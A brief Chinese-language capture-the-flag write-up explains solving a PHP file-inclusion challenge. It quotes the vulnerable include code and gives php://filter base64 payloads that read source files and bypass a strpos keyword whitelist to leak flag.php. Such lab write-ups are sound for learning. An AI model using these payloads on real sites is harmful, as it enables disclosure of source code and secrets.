题目
进去就只有2个按钮,按下后发现url多了参数,随便加个'
可以看到报错
本来以为是注入,报错里面发现后端帮你在传入的参数后加了.php
后缀
看了wp后才知道是需要用到php://filter
伪协议来完成做题的
php://filter/read=convert.base64-encode/resource=index
这里后端帮忙加上了.php后缀
base64解码后,它有一堆html源码,这里只看php代码
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
利用include的特性试着读一下flag
woofers/…/flag
读不出flag,但是却能够看到flag.php文件已经被包含了
我们可以利用php://filter伪协议的特性,可以在该协议上套上一层协议,如下payload
php://filter/read=convert.base64-encode/woofers/resource=flag
这里伪协议的协议中都指定了特定的协议键,识别到woofers时不认识会忽略掉,但这道题却能够绕过strpos函数
解出来得到flag